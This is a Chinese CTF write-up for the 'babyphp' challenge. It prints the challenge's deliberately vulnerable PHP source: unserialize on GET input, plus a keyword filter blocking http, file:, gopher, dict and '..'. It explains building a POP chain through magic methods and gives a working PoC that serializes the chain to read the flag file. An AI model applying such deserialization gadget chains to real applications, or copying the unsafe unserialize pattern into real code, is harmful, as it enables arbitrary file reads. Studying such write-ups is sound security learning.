京津冀大学生竞赛

京津冀大学生竞赛

京津冀大学生竞赛:babyphp

比赛的时候没做出来,回来以后一会就做出来了,难受。。。还是基本功不扎实,都不记得__invoke怎么触发的了

放上源码

<?php
error_reporting(1);
class Read {
public $var;
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
} public function __invoke(){
$content = $this->file_get($this->var);
echo $content;
}
} class Show
{
public $source;
public $str;
public function __construct($file='index.php')
{
$this->source = $file;
echo $this->source.'瑙f瀽寮€濮?'."<br>";
} public function __toString()
{
$this->str['str']->source;
} public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|fllllllaaaaaag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
} } public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
} class Test
{
public $params;
public function __construct()
{
$this->params = array();
} public function __get($key)
{
$func = $this->params;
return $func();
}
} if(isset($_GET['chal']))
{
$chal = unserialize($_GET['chal']);
}
else
{
$show = new Show('index.php');
$show->_show();
}

官方给的hint是

其实没什么用,很明显是反序列化。关键是pop链的构造思路。

我找pop链的思路一般是

  • 1、找__destruct()__toString()这样容易触发反序列化的魔术方法,这是pop链的起点
  • 2、找能利用来getflag的函数,例如file_get_contents()这种,这是pop链的终点
  • 3、最后从终点慢慢一环一环往回推,推回起点就成功构造出pop链

本题中pop链的起点应该是Show::__toString(),然后寻找可用的echo,第一眼看到的就还是Show::__construct(),还有一处Read::__invoke中的echo其实是最后getflag的地方。我们带着这个思路走下去,那么Read::__invoke就是pop链的终点。

__invoke()触发条件是

可以发现Test::__get()中有

$func = $this->params;
return $func();

继续回推,__get()的触发方法是

我们发现Show::__toString()中有$this->str['str']->source;,完美

最终poc如下

<?php
error_reporting(3);
class Read {
public $var;
} class Show
{
public $source;
public $str;
} class Test
{
public $params;
} $c = new Read();
$c->var = 'fllllllaaaaaag';
$b = new Test();
$b->params = $c;
$d = new Show();
$d->str = array('str'=>$b);
$a = new Show();
$a->source = $d; echo serialize($a);
05-28 02:56